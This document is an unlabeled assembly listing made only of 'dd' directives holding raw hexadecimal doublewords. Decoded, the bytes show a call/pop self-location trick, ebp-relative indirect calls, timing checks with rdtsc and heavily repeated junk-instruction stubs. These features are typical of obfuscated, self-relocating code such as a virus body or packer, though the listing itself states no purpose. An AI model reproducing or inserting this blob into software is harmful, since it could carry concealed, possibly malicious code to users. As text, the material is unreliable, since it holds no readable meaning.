		dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 3929B1C3h, 5DF3674Fh, 905B56A7h, 33F686BFh
		dd 0E8905076h, 0Eh, 0C5D82E70h,	0C0D07E66h, 69056FECh
		dd 0BD8BD4ADh, 935226Dh, 959D295Bh, 6A093516h, 959D8B00h
		dd 6A09350Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 48ED0D36h, 13858D25h, 290939A3h
		dd 3527C195h, 0D5B26009h, 6860Fh, 95890000h, 9351F75h
		dd 5C08361h, 0D98B6650h, 8B240489h, 35122DBDh, 6A006A09h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 3AF0C350h, 0A64A200Ch, 3880Fh, 0D7800000h
		dd 699D29A5h, 6A093529h, 0EE900h, 85BC0000h, 2400D289h
		dd 0CA2E7248h, 4F4BC92h, 33195FFh, 6A0935h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D10B49C3h
		dd 532865Ch, 719D093Eh,	8D093503h, 389AAB8Dh, 6AD1FF09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 2DECC356h, 89605047h, 3526A585h, 0A2BE6609h
		dd 8B5F610Fh, 352FF99Dh, 19BD8309h, 109351Ch, 47850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0DA0068C3h, 2C25843Eh, 50FC026Ah,	8B240489h
		dd 3533059Dh, 5195FF09h, 0F093511h, 681h, 6DBD2B00h, 81093523h
		dd 5584B4C3h, 0E24E930h, 0E80000h, 5D000000h, 0A31DED81h
		dd 6A0939h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0B8502FC3h, 7D24D3FBh, 0F34BBB66h, 932B858Dh
		dd 0BD290938h, 9353081h, 12E990h, 11720000h, 54E1DD72h
		dd 0FB40F795h, 6837539Bh, 0F74023FBh, 0BBB6650h, 0BB6690E3h
		dd 0FF64ED8Dh, 35h, 84BF6600h, 25896432h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 38C35343h
		dd 5B5311Ch, 0FF09351Eh, 35300985h, 9DBD8B09h, 6A093510h
		dd 0AD9D89FFh, 0FF093516h, 352B11B5h, 55006A09h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0EAFCCF2Ah, 8B53F7FCh, 352FEDBDh, 0BD895B09h, 9350F7Dh
		dd 2EB995FFh, 0FFE90935h, 0E9000000h, 12h, 0BE9616CCh
		dd 497DA17Fh, 359D2101h, 10568921h, 0B0B71Eh, 2E19D89h
		dd 70E60935h, 8171E4F9h, 0C80AD7DBh, 0F613C26h,	0CD83h
		dd 0EE800h, 0AE320000h,	0F70187B9h, 0CA14398Ch,	0E17A7E30h
		dd 1D9D9D8Bh, 0F5B0935h, 9D29C8B6h, 9352599h, 6BAF8h, 0B70F0000h
		dd 60C18BD9h, 0BE9h, 60A95700h,	0E382E5A8h, 97E67E04h
		dd 0FCDB589h, 0C1610935h, 3FBF04E8h, 667DB96Dh,	9D01E2F7h
		dd 9350089h, 0D18BC82Bh, 0E9BCDF80h, 8,	0C7815B56h, 3E78A5E7h
		dd 2F1D858Bh, 83F90935h, 8D8907C0h, 93524F5h, 0F00C083h
		dd 686h, 659D8B00h, 3B09350Ah, 0E830FD0h, 23000000h, 35027DBDh
		dd 30E909h, 0B70F0000h,	1D8D8BDAh, 31093510h, 35234D8Dh
		dd 1E18309h, 18840Fh, 0A5830000h, 935101Dh, 1D9589FEh
		dd 8B09352Fh, 3505419Dh, 0E909h, 0B58D0000h, 9391877h
		dd 6AFAB70Fh, 0FE900h, 7A2F0000h, 47BCF338h, 0F48AF105h
		dd 297F76BAh, 2995FFCFh, 8B093508h, 3505E1BDh, 7DEB909h
		dd 0DF8B0000h, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B98C352h, 0DF816616h
		dd 6AFC3B95h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0CF9CC350h, 9559D35Eh,	756D6B1Ah
		dd 0DB59D01h, 0BF660935h, 0B82D5Bh, 0F000000h, 580h, 8B665000h
		dd 0BA5BD8h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F92C355h, 38Dh, 0DBB70F00h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ADBBF0Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0F19DC351h, 1B15BD09h, 0EE90935h, 0F3000000h, 0BE89590Fh
		dd 5B1AA508h, 72BA388Bh, 880DB8h, 9D8B0000h, 9350B75h
		dd 1629958Bh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8909E4C3h, 351759BDh, 0EC34BF09h
		dd 8D8B578Dh, 935287Dh,	2779BD8Bh, 8B500935h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 58C35545h, 57773E1Fh, 2810Fh
		dd 5B500000h, 9589605Bh, 93510A5h, 7E9h, 48470900h, 0D4A6D23Fh
		dd 959D0961h, 83093529h, 351249BDh, 840F0009h, 6Ah, 0B8FBBF0Fh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 83C35343h
		dd 4C028D8Dh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 1970CAC3h, 0E1783763h, 9E8B3E9h
		dd 36000000h, 608250F9h, 424A74CBh, 0E1DB8166h,	0E1FF5B65h
		dd 319D8D31h, 0BD830935h, 9352255h, 0CA840F00h,	89000004h
		dd 35316D9Dh, 55BD8309h, 1093522h, 4D2840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 22B522C3h, 4CF594F8h, 0BD83FC8Ch, 9352255h, 6B860F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 6F87C355h, 29001B6h, 151BD31h
		dd 95890935h, 9350BC1h,	12E860h, 52980000h, 7DBB918Bh
		dd 2A4E9E6Bh, 0B7659E30h, 5089632Bh, 0FE9h, 6C0CA600h
		dd 0A5125249h, 6D7A721Ch, 0D44EA00Eh, 0D98C665Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BAC35646h, 0EE40E43Eh
		dd 580EBF66h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 907AC352h, 8166E025h
		dd 0A8F28DBh, 0E0840FC9h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E7B0C356h
		dd 0BFC67BBBh, 2BC5BD03h, 858B0935h, 9352B61h, 6E9h, 24C34500h
		dd 3374AF2Dh, 350D7D85h, 6E85709h, 9D000000h, 40BD5F05h
		dd 22BF6601h, 505B5B08h, 0D8FD21BBh, 24048922h,	13F1E781h
		dd 860F1E94h, 3, 6ADF8B66h, 399D2B00h, 6809350Bh, 67CCAD09h
		dd 3481DA8Bh, 0D3AEF624h, 57006A67h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FF54B425h
		dd 350CDD95h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 216B7E03h, 0EBDFA567h, 0F98B2FC6h
		dd 0B76F8589h, 0C7810938h, 0B92EE36h, 226E9h, 0BDBD8900h
		dd 8B09350Eh, 38B76785h, 0BD9D0B09h, 0C7093531h, 1800h
		dd 0CDB58900h, 8B09350Fh, 38B76BB5h, 52006A09h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 4212F17Dh
		dd 24D5858Bh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 8F0F1C3h, 8D10FB57h, 0CEB8BF48h
		dd 68954B4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	79C35747h, 0E130B43h, 0FE9E66Eh, 86000000h, 0A7A37A30h
		dd 210CF12Fh, 0F8B6042h, 9589F981h, 9351179h, 2B61858Bh
		dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8102D7C3h, 0CFD090E3h, 0C0BB1Fh, 46894D6Ch
		dd 50FA8B04h, 85BF6660h, 13E960C5h, 67000000h, 0D2258A18h
		dd 0B3D71224h, 0F1A579D4h, 2324692Ah, 61605CFBh, 34896161h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 77816598h, 24A44B3Fh, 0C800F3Ch,	0E9000000h
		dd 7, 0B2E4A0C4h, 0FF8D40D9h, 38B767B5h, 56006A09h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0F258EBAh, 2268FAB7h, 6052DCD6h, 2820Fh, 0F78B0000h
		dd 0D024BB66h, 24348161h, 52C3D5DDh, 6919D89h, 858D0935h
		dd 938B76Fh, 2E55BD8Bh,	50900935h, 0B8C0F52h, 0E8000000h
		dd 5, 0AC1AFCDFh, 310F5F06h, 5ADA8B66h,	0BB665058h, 6A90A062h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 51E9C351h, 0B5318060h, 9351F1Dh, 15810Fh
		dd 10E90000h, 97000000h, 623E902Dh, 638C019Ah, 82716FF8h
		dd 0FFFED7F7h, 350CDD95h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 26198D93h
		dd 8BFFA733h, 350F799Dh, 399D8B09h, 61093522h, 7E9h, 59CC3E00h
		dd 0EEBABC18h, 225585C7h, 30935h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 8CD936C3h
		dd 17B3355Bh, 0B76FBD83h, 0F000938h, 7584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FCFD71Eh, 0D8Ah, 8E900h, 0E0B30000h, 0A1C94AE5h, 8E81C27h
		dd 0CA000000h, 0C26E1225h, 29F358C5h, 3503B59Dh, 46E95B09h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0DB0FC355h, 219D8960h,	89093505h
		dd 35286DBDh, 30506109h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 9650ED45h, 0EC1672C0h
		dd 81662D65h, 6A2AB2CBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 5BD8C353h, 831C80F1h
		dd 352255BDh, 850F0309h, 4AEh, 2E6DBD8Bh, 0BD830935h, 938B76Fh
		dd 9B840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 81ACC357h, 771A80CFh
		dd 6FB5FF70h, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 3BE4C355h, 0F037CB91h
		dd 0C1D0A59Eh, 5EF78166h, 1195FF53h, 6A09352Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 8884C353h, 2C072CCAh, 0E40C3E92h, 2F3D8509h,	850F0935h
		dd 5, 75AF8FBFh, 63B58B50h, 0C70938B7h,	1000106h, 66605300h
		dd 0ACCCE781h, 0F79B509h, 5F610935h, 6E996h, 95530000h
		dd 4834821Ch, 9630B350h, 0B5FFFE8Bh, 938B76Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h, 0EAEC132h
		dd 0FE8B66A3h, 28995FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 880F92C3h, 1,	519D23F8h
		dd 8B09350Bh, 38B763B5h, 9CBB6609h, 99858B00h, 6A09350Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E9C4C356h, 11h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch
		dd 0ABE523CEh, 0DF81608Fh, 41C01B77h, 0C4868961h, 0E9000000h
		dd 13h,	0D584EEFEh, 0BD181080h,	39CD7813h, 67A3BA6Bh, 8BAB2107h
		dd 35162995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 5D94C0E8h, 8B66F612h, 4C283F9h, 5800Fh
		dd 81660000h, 89EADBEBh, 6A2050h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 3A4924C3h, 89A4CCBBh
		dd 3521B19Dh, 0D7816609h, 858D7F83h, 938CC07h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 54C35545h, 48AF71F2h
		dd 8531A097h, 0B88689h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h
		dd 170424h, 51410000h, 77865BC3h, 0E1BD0BAAh, 0F093505h
		dd 87h,	6A006A00h, 3E85200h, 20000000h,	895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 5E4CC352h, 2F9D03F2h, 0B5FFF5B7h
		dd 938B76Fh, 11A98531h,	0F3810935h, 6590F435h, 115195FFh
		dd 96F50935h, 12E8h, 297ED100h,	0D1FCAC18h, 0A7DA7B2Fh
		dd 0AAD7D37Ch, 60D2CA6Eh, 5B615E53h, 158B0F50h,	0E9000000h
		dd 10h,	8C34A6B2h, 5D0F17A4h, 4574CCEBh, 601B50A8h, 6FB5FF96h
		dd 6A0938B7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0DCEDC352h, 0B29BEC8Ch, 12E9C776h
		dd 0E9000000h, 43918307h, 1A62BEA3h, 734F8552h,	0D2434AD7h
		dd 5595FF22h, 6A09350Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0B8A8C356h,	243FAE3h
		dd 83DE8B66h, 350079BDh, 840F0009h, 27h, 1CE98589h, 50960935h
		dd 5A310F52h, 2DBF5058h, 9620704Fh, 0EE9h, 0D2DB6400h
		dd 0E4CBF04Ah, 0E611DE3Fh, 0FFF357F0h, 38B76FB5h, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0FF333A91h, 351C3595h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 6CC8F5F8h
		dd 0D0695EE5h, 0B5FF2EC5h, 938B76Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0FDC35040h,	3B687724h, 0E8E0Fh
		dd 9E90000h, 0AF000000h, 0A8DEA475h, 0EA17D9C3h, 2CE595FFh
		dd 0FE90935h, 0F2000000h, 0AB80F677h, 7E0C58D8h, 0CBB8403Eh
		dd 0BD83E1ACh, 93526BDh, 58840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0FDBDC355h, 79BD8B9Fh, 0F09350Fh, 858BFFBFh,	93526ADh
		dd 0C6F88B66h, 6A0000h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0E3DDFC3h, 518D89F0h, 0C7093501h
		dd 35326585h, 9, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 2EB20379h, 958B600Ah
		dd 9350A21h, 8E9h, 0DFE30B00h, 0D7A1299h, 88E96169h, 60FFFFF2h
		dd 0C18B61FCh, 12359D8Bh, 858D0935h, 9352659h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 42C35646h, 2C75BD89h
		dd 9D8B0935h, 9351D61h,	5E850h,	0E60C0000h, 0BF423245h
		dd 110508E6h, 2404895Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 9EC35040h, 0E8BB2611h, 517A4EEEh, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 20AF19C3h, 0C09A3B17h, 0A65BD8Bh, 29F50935h,	351029BDh
		dd 89006A09h, 350811BDh, 6890F09h, 29000000h, 353305BDh
		dd 5D858D09h, 0F0939B3h, 68Bh, 19BD8B00h, 8309352Eh, 8B6605C0h
		dd 890F50F8h, 16h, 0DE8h, 0B89D2200h, 128CDA3Eh, 545CB6Fh
		dd 8B666377h, 4895FDFh,	41BD0324h, 6A09352Fh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 319D8B31h, 6A093508h, 0AE900h, 0D4C30000h, 15D5E389h
		dd 0C57E557Dh, 33195FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0C9B553C3h, 0BDB5011Ah
		dd 8D09352Fh, 389AAB8Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0E559034Eh, 0A7904CB9h
		dd 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 8350E0C3h, 0A1A9E6E8h, 1C19BD83h,	0F010935h
		dd 7E85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 2D8E32D9h, 0A1A217C1h, 6AD88B4Ah
		dd 0E7816602h, 0E85098ECh, 14h,	0C106DBF8h, 8C2433Ah, 0F86549B9h
		dd 0B503811h, 1CA13CCEh, 38C0Fh, 8B660000h, 4895BF9h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 95FF47ACh, 9351151h,	1880Fh,	0E9FC0000h, 0E8Ch, 0E8h
		dd 0ED815D00h, 939B367h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0FEC35040h, 95BD2B91h, 6A093511h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 778C356h, 1680AB68h,	15DBD89h, 858D0935h, 938932Bh
		dd 9E8h, 0C6AD3300h, 0D51B4309h, 8B66F01Dh, 50905FF9h
		dd 6A905DB7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 96DC351h, 35FF64h, 66000000h
		dd 64191FBBh, 2589h, 9D230000h,	9351C05h, 300985FFh, 6A0935h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0A6AD13C3h, 3E9F81BDh, 0BD0B23F7h, 93511C9h,	0B5FFFF6Ah
		dd 9352BF5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0F3C35545h, 7861BBE5h, 0D381661Bh, 95FF34E6h, 9352EB9h
		dd 10EE9h, 5E900h, 39380000h, 0E88A7D68h, 13h, 3AAF936Ch
		dd 0AC54B2A1h, 82D82538h, 1F581198h, 31D2773Eh,	3506C19Dh
		dd 0B05F09h, 0E6DBB70Fh, 0F5C1BB70h, 71E42B76h,	3850Fh
		dd 8B660000h, 0F613CD8h, 0C683h, 11BD2900h, 0B7093530h
		dd 0C8B60F7Ah, 6BAF9h, 850F0000h, 6, 1F499D03h,	0C18B0935h
		dd 0CA2DF381h, 0E8C17E14h, 8D0F04h, 66000000h, 8501E2F7h
		dd 93526F1h, 0B70FC82Bh, 4DB529FAh, 8B09352Eh, 798501D1h
		dd 0E9093501h, 0Bh, 58E0Fh, 81660000h, 8B8795C7h, 3528D985h
		dd 0A19D8B09h, 8309351Bh, 9D8907C0h, 9352DD5h, 6600C083h
		dd 0D03BFB8Bh, 17830Fh,	0BD890000h, 9350469h, 3EE9h, 0D59D8B00h
		dd 8B093526h, 3527F19Dh, 0D18D8B09h, 0B3093516h, 1E1835Ah
		dd 21840Fh, 0D7800000h,	0D1A58377h, 0FE093516h,	2335CB81h
		dd 95897471h, 93528D9h,	2A5D8D89h, 0E90935h, 8D000000h
		dd 392220B5h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0B77ADC93h, 13E1B529h, 6A0935h, 0FFD88B66h
		dd 35082995h, 0EBBB6609h, 8C0B9B5h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 811592C3h
		dd 94625DC7h, 0FCE18370h, 1041BD33h, 0CB810935h, 267DBF53h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0DB816666h, 0BD8B6CB4h, 9351DE9h, 0B8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 63FF1914h, 0B30FD5FDh, 0EF816617h, 0BA7BF0h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0F840C355h, 6AEEACA2h,	8B8C46B7h
		dd 0C233ADD9h, 0D003E8D1h, 7504E983h, 0EE9F4h, 0F3240000h
		dd 2BDAA768h, 0B82A8604h, 0D8F588F5h, 0BDBD0953h, 5B09352Ch
		dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h
		dd 0C3564600h, 5A44D694h, 393F35FBh, 0CF8B6660h, 0D2D08166h
		dd 958B6190h, 9351629h,	0ECB8166h, 7D8D8BFEh, 89093528h
		dd 3512A1B5h, 0C28B5009h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0EED8C352h, 13E9h, 0EB59D100h
		dd 6CEF46A8h, 2A1658A2h, 62B17468h, 8325BC3h, 1249BD83h
		dd 0F000935h, 9684h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0D6A6F456h, 7F498BFh
		dd 0B86Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D8B6AC3h, 93522A1h, 4C028D8Dh
		dd 9E80935h, 0B3000000h, 2FD0B3h, 3E64669Bh, 238D9D33h
		dd 665F0935h, 0FFC2E4BBh, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 945FA69Fh
		dd 0CDB99BBh, 5D85892Bh, 8309352Eh, 352255BDh, 840F0009h
		dd 4AEh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0C4C35141h, 3B6A1A0Ah, 0C7814BEFh, 5CDEC1D3h, 2255BD83h
		dd 0F010935h, 49484h, 2FBF6600h, 55BD8391h, 3093522h, 44D860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 6A7D4C3h,	0AE9D5h, 0A1E40000h, 4AA4A134h
		dd 0D8053C92h, 45BF6660h, 0D98C66F3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 56C35242h, 0D7A8E2B7h, 0B57BE0A9h
		dd 296D9D2Bh, 9D8B0935h, 9351161h, 6A04E180h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 2914C350h, 352B0DB5h, 0FC90A09h, 13784h, 958B6000h
		dd 9352C61h, 6E9h, 0EACDBB00h, 6199FE63h, 2B61858Bh, 6A0935h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 5EE79DC3h, 336E09FBh, 350D7D85h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 90A8556Fh
		dd 1A840Fh, 12E80000h, 8C000000h, 5D09780Fh, 87C59BF5h
		dd 1C93CB9Dh, 0CDE2FA20h, 5B5B522Bh, 90DA8B50h,	858960F9h
		dd 935220Dh, 2F2D858Bh,	6A610935h, 31BD8B00h, 68093500h
		dd 3FDAAC93h, 11E95250h, 86000000h, 5DCF7112h, 5929112Bh
		dd 5E3A6A93h, 550960D0h, 585A310Fh, 6C243481h, 6A3FC5AFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 9126C350h, 0FFD9BF0Fh, 350CDD95h,	0FABF0F09h
		dd 8589D88Ah, 938B76Fh,	7E9h, 0BD9CA500h, 4E2349CFh, 7B71FFBFh
		dd 23FE939h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0D16AB8C3h, 4531A2Dh, 0F413C6Eh
		dd 0BD8BFEBFh, 93503F1h, 0B767858Bh, 6A0938h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 231C84C3h
		dd 59446B73h, 81E29120h, 0A38705DBh, 1800C776h,	8B000000h
		dd 38B76BB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BD8B440Eh, 9351179h, 24D5858Bh
		dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 84618FC3h, 0E8DE6406h, 5E89ABBh, 6C000000h
		dd 2E09BB0Dh, 6A06895Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 791AC352h, 9965E033h
		dd 2B61858Bh, 89F50935h, 850F0446h, 5, 14EA4BFh, 8A0F9620h
		dd 13h,	0D8C0Fh, 7E80000h, 0F9000000h, 0BEF92C04h, 505FCE78h
		dd 6A96DE8Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 7C6C352h, 3818A5D6h, 3DE78201h
		dd 6810Fh, 0BD8B0000h, 93526DDh, 0E733BB66h, 0B767B5FFh
		dd 81660938h, 0E83B18E3h, 4, 1F03FFh, 19850Fh, 52500000h
		dd 0CE9h, 0A803CF00h, 437EAB8Eh, 0BABF42E6h, 0B3310F8Fh
		dd 50585A1Bh, 448BC1B7h, 9E90424h, 5A000000h, 7931ACBBh
		dd 33C9DC18h, 0DF8B008Bh, 4244489h, 0DE256BBBh,	9501587Dh
		dd 935007Dh, 0B76F858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0D666ADC3h, 666050F6h
		dd 0C28BF88Bh, 24048961h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 2AC35141h, 9C2BB22Eh,	850FEB8Bh, 1Bh
		dd 0FE8h, 0A0821000h, 5D9F3672h, 154AB9BBh, 0AF4668FCh
		dd 0D21BD8Bh, 0FF5B0935h, 350CDD95h, 10E809h, 888B0000h
		dd 0BE41B53Bh, 0CDC6D70h, 66EC6922h, 9D8B8A77h,	9351E8Dh
		dd 8B66615Fh, 47BF66DFh, 5585C72Bh, 3093522h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0F013C355h, 8DDFF79Ah, 0E38170ADh, 4395486Fh
		dd 0B76FBD83h, 0F000938h, 2A84h, 68B0F00h, 8B000000h, 352A699Dh
		dd 34E909h, 8E0F0000h, 13h, 0EE9h, 0F01AB800h, 7479257Bh
		dd 5CD6C10h, 505FDB0Fh,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 2B4843C3h, 9D8B2412h
		dd 9351131h, 5E9h, 0C1493D00h, 6A319Bh,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E7CC4CC3h
		dd 0B4C17817h, 81DF3750h, 9F9BA7CFh, 0E99D8B72h, 8B09352Dh
		dd 55BD83D8h, 3093522h,	4B0850Fh, 0DE8A0000h, 0B76FBD83h
		dd 0F000938h, 4A184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 460F580h, 5EFFDEA5h, 619D2303h
		dd 0FF09351Bh, 38B76FB5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 4C12631Eh
		dd 6DDEA323h, 1195FF2Ah, 6A09352Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D900C352h
